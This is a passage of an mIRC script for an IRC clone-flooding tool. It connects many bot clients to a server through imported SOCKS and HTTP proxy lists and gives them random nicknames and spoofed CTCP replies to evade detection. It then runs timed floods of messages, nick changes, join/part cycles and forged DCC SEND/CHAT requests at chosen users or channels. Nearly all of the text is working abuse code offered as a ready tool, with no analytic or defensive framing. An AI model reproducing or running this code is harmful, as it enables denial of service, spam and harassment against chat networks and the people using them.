- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
- }
- If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0) }
- }
- If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
- }
- If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 0) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- }
- If ($Did(91) == PRIVMSG) && ($Did(96).State == 1) && ($Did(97).State == 1) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
- }
- }
- On *:Dialog:Clone:SClick:*: {
- If ($Did == 199) {
- Did -a $DName 1100 $Did(198)
- Did -ra $DName 1106 $Calc($Did(1106) + 1)
- }
- If ($Did == 1104) {
- Var %F = $Input(Enter Filename:,ego,Clone)
- If (%F) {
- Var %I = 1
- While ($Did(1103,%I)) { Write %F $+ .txt $Did(1103,%I) | Inc %I }
- }
- }
- If ($Did == 888) {
- Clone.actions $Did(Clone,40) mode $Did(889)
- }
- If ($Did == 1107) {
- Did -ra $DName 1111 0
- Var %I = 1
- While ($Did(1100,%I)) {
- SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(1100,%I),http://,www.),1,47) 80
- Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(1100,%I),http://,www.),1,47)
- Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(1100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(1100,%I),http://,www.),2-,47),$Chr(47))
- Inc %I
- }
- }
- If ($Did == 1108) { Did -r $DName 1103 }
- If ($Did == 1109) {
- Did -r $DName 34
- Var %I = 1
- While ($Did(1103,%I)) { Did -a $DName 34 $Replace($Did(1103,%I),$Chr(58),$Chr(32)) | Inc %I }
- }
- If ($Did == 1114) && ($Did(1100).Sel) { Did -d $DName 1100 $Did(1100).Sel }
- If ($Did == 1115) { Did -r $DName 1100 }
- If ($Did == 31) {
- If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) | Did -o Clone 102,10 1 $Did(Clone,34).Lines }
- Else { Clone.Error Invalid Sock/Proxy or Port }
- }
- If ($Did == 32) {
- Var %I = $Did(Clone,34,0).Sel
- While (%I) {
- Did -d $DName 34 $Did(Clone,34,%I).Sel | Did -o Clone 102,10 1 $Did(Clone,34).Lines
- Dec %I
- }
- }
- If ($Did == 33) {
- Var %F = $SFile($mIRCDir,Clone,Import)
- If (%F) {
- Var %I = 1
- While ($Read(%F,%I)) {
- Var %F1 = $Read(%F,%I)
- If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
- If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }
- Else { Did -a $DName 34 %F1 }
- Inc %I
- }
- }
- Did -o Clone 102,10 1 $Did(Clone,34).Lines
- }
- If ($Did == 83) {
- Var %I = 1
- While ($CB(%I)) {
- Var %F1 = $CB(%I)
- If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
- If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }
- Else { Did -a $DName 34 %F1 }
- Inc %I
- }
- Did -o Clone 102,10 1 $Did(Clone,34).Lines
- }
- If ($Did == 35) { Did -r $DName 34 | Did -o Clone 102,10 1 $Did(Clone,34).Lines }
- If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 }
- If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 }
- If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 }
- If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }
- If ($Did == 68) {
- Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72
- If ($Did(70)) { Did -e $DName 66 }
- Else { Did -b $DName 66 }
- }
- If ($Did == 69) {
- Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72
- If ($Did(71)) { Did -e $DName 66 }
- Else { Did -b $DName 66 }
- }
- If ($Did == 16) {
- Var %F = $SFile($mIRCDir,Clone,Import)
- If (%F) { Did -ra $DName 14 %F }
- }
- If ($Did == 72) {
- Var %F = $SFile($mIRCDir,Clone,Import)
- If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }
- }
- If ($Did == 60) {
- If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
- Else { Did -b $DName 58 }
- }
- If ($Did == 41) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOIN $Did(42) }
- If ($Did == 43) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PART $Did(44) : $+ $Did(45) }
- If ($Did == 46) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOINPART $Did(47) : $+ $Did(48) }
- If ($Did == 49) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(50) : $+ $Did(51) }
- If ($Did == 52) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(53) : $+ $Did(54) }
- If ($Did == 55) { Clone.Flood }
- If ($Did == 58) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(59) : $+ $Did(60) $+ }
- If ($Did == 61) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+ }
- If ($Did == 64) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }
- If ($Did == 66) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NICK }
- If ($Did == 73) {
- Var %I = 1
- While ($Did(74,%I)) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) RAW $Did(74,%I) | Inc %I }
- }
- If ($Did == 77) {
- If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) { Clone.Error Enter $Did(6) to the Proxy/Socks List }
- ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }
- ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }
- ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }
- ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }
- ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }
- ElseIf (($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }
- Else { .TimerClone.Go -o $Did(10) 0 Clone.Go }
- }
- If ($Did == 78 && $Did(40) == All) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* }
- If ($Did == 78 && $Did(40) == Selected) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) QUIT }
- If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }
- If ($Did == 80) { Clone.IPs }
- If ($Did == 84) {
- Var %I = $Sock(Clone.*,0)
- While (%I) {
- If (!$Sock(Clone.*,%I).Mark || $Sock(Clone.*,%I).Mark == 1) { SockClose $Sock(Clone.*,%I) }
- Dec %I
- }
- Did -o Clone 25 1 $Sock(Clone.*,0)
- }
- If ($Did == 88) { Did -b $DName 86 }
- If ($Did == 87) { Did -e $DName 86 }
- If ($Did == 93) { .TimerFlood* off }
- If ($Did == 96) {
- If ($Did(96).State == 1) { Did -r Clone 117 | Did -c Clone 91 3 | Did -b Clone 116,117,91 }
- If ($Did(96).State == 0) && ($Did(97).State == 0) { Did -e Clone 116,117,91 }
- If ($Did(96).State == 0) && ($Did(97).State == 1) { Did -e Clone 116,117 }
- If ($Did(96).State == 0) && ($Did(117) !isnum) { Did -b Clone 55 }
- If ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) && ($Did(57) || ($Did(97).State == 1)) { Did -e Clone 55 }
- If ($Did(96).State == 1) && ($Did(99) !isnum) { Did -b Clone 55 }
- }
- If ($Did == 97) {
- If ($Did(97).State == 1) { Did -c Clone 91 3 | Did -b Clone 91 }
- If ($Did(97).State == 0) && ($Did(96).State == 0) { Did -e Clone 91 }
- If ($Did(97).State == 1) && ($Did(117) isnum) && ($Did(95) isnum) && ($Did(56)) { Did -e Clone 55 }
- If ($Did(97).State == 1) && ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) { Did -e Clone 55 }
- If ($Did(97).State == 0) && (!$Did(57)) { Did -b Clone 55 }
- }
- }
- #Clone.DNS off
- On *:DNS: {
- If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go -o $Did(Clone,10) 0 Clone.Go }
- Else { Clone.Error Unable to resolve DNS of $Did(Clone,2) }
- .Disable #Clone.DNS
- Halt
- }
- #Clone.DNS End
- Alias genHighlighted {
- var %i = $Did(Clone,38,0).sel, %t = 0, %n, %all
- while (%i) {
- var %n = $did(clone,38,$did(clone,38,%i).sel).text
- if ($calc($len(%n) + 1 + $len(%all)) > 900) {
- set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
- inc %t
- var %all
- }
- var %all = $addtok(%all,%n,32)
- dec %i
- }
- set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
- }
- Alias Clone.Nicklist.Box.Update {
- var %key = $left($md5($ticks),10)
- genHighlighted %key
- Did -r Clone 38
- Var %I = 1
- While ($Sock(Clone.*,%I)) {
- If ($Sock(Clone.*,%I).Mark && $Sock(Clone.*,%I).Mark != 1) { Did -a Clone 38 $Sock(Clone.*,%I).Mark }
- Inc %I
- }
- var %s = $+($chr(37),selectednicks.,%key,-,*)
- var %a = $var($eval(%s,1),0)
- While (%a) {
- var %g = $gettok($eval($var($eval(%s,1),%a),2),0,32)
- While (%g) {
- If ($didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)) {
- Did -kc Clone 38 $didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)
- }
- Dec %g
- }
- Dec %a
- }
- }
- On *:SockOpen:Clone.*: {
- If ($SockErr) { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- If (Clone.Socks4.* iswm $SockName) { BSet &Clone 1 4 1 $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) $Replace($Did(Clone,2),$Chr(46),$Chr(32)) 0 | SockWrite $SockName &Clone }
- If (Clone.Socks5.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }
- If (Clone.Proxy.* iswm $SockName) {
- SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.0
- SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF
- }
- If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }
- Did -o Clone 25 1 $Sock(Clone.*,0)
- }
- On *:SockRead:Clone.Socks4.*: {
- If ($SockErr) {
- If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- }
- Else {
- If (Clone.Socks4.* iswm $SockName) && (!$Sock($SockName).Mark) {
- SockRead &Read
- If ($BVar(&Read,2) == 90) { SockMark $SockName 1 | Clone.Conn.User $SockName }
- }
- Clone.SockReadInstructions
- }
- }
- On *:SockRead:Clone.Socks5.*: {
- If ($SockErr) {
- If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- }
- Else {
- If (Clone.Socks5.* iswm $SockName) && (!$Sock($SockName).Mark) {
- SockRead &Read
- If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {
- Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)
- Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))
- BSet &Clone.Send 1 5 1 0 1 %Serv %Port
- SockWrite $SockName &Clone.Send
- }
- If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }
- }
- Clone.SockReadInstructions
- }
- }
- On *:SockRead:Clone.Proxy.*: {
- If ($SockErr) {
- If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- }
- Else {
- Clone.SockReadInstructions
- }
- }
- On *:SockRead:Clone.Normal.*: {
- If ($SockErr) {
- If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
- }
- Else {
- Clone.SockReadInstructions
- }
- }
- Alias Clone.SockReadInstructions {
- SockRead %Clone.Read
- If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 1 && ($Gettok(%Clone.Read,1,32) != PING)) { Echo %Clone.Read }
- If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 0) { Echo %Clone.Read }
- Tokenize 32 %Clone.Read
- Unset %Clone.Read
- If ($2 == 200) && (*HTTP* iswm $1) { Clone.Conn.User $SockName }
- If ($5 == broken) { SockWrite -nt $SockName $16-17 }
- If ($5 == response) { SockWrite -nt $SockName $17-18 }
- If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }
- If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) {
- If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }
- If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ }
- If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :VERSION $VReply($Rand(1,36)) }
- }
- if ($2 == NOTICE) && ($5 == passcode) { sockwrite -nt $SockName PRIVMSG $Remove($Gettok($1,1,33),:) :PROCEED $7 }
- if (%nicktext isin $1) { sockwrite -nt $SockName PRIVMSG $3 : $+ $Remove($Gettok($4-,1,33),:) }
- if (%nicktexta isin $1) { sockwrite -nt $SockName PRIVMSG $3 ACTION $Remove($Gettok($5-,1,33),:) }
- If ($2 == 001) && (:* iswm $1) {
- Var %I = 1
- While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }
- If ($3) { SockMark $SockName $3 | Did -a Clone 38 $3 }
- Did -o Clone 24 1 $Did(Clone,38).Lines
- SockWrite -nt $SockName Mode $3 $Did(Clone,18)
- }
- If ($2 == 433) {
- If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
- If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }
- If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }
- If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
- }
- Else {
- If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }
- If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 Clone.Conn.User $SockName }
- If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }
- }
- }
- If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {
- Var %I = 1
- While ($Did(Clone,38,%I)) {
- If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { SockMark $SockName $Remove($3,:) | Did -o Clone 38 %I $Remove($3,:) }
- Inc %I
- }
- }
- }
- On *:SockWrite:Clone.*: {
- If ($SockErr) {
- If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }
- Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }
- }
- }
- On *:SockClose:Clone.*: {
- If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }
- Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }
- }
- Alias Clone.Nick { Return $Sock($1).Mark }
- Alias Clone.RandNick {
- Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1
- While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J }
- Return %N
- }
- Alias Clone.Conn.User {
- If ($Did(Clone,11).State == 1) {
- SockWrite -nt $1 NICK $Clone.RandNick($Rand(3,6))
- SockWrite -nt $1 USER $Clone.RandNick($Rand(2,5)) "" "" : I'm an Iranian
- }
- If ($Did(Clone,12).State == 1) {
- Var %N = $Gettok($Read($Did(Clone,14)),1,32)
- SockWrite -nt $1 NICK %N
- SockWrite -nt $1 USER %N "" "" : $+ %N
- }
- If ($Did(Clone,13).State == 1) {
- SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)
- SockWrite -nt $1 USER $Lower($Did(Clone,15)) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))
- }
- }
- Alias Clone.Go {
- If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }
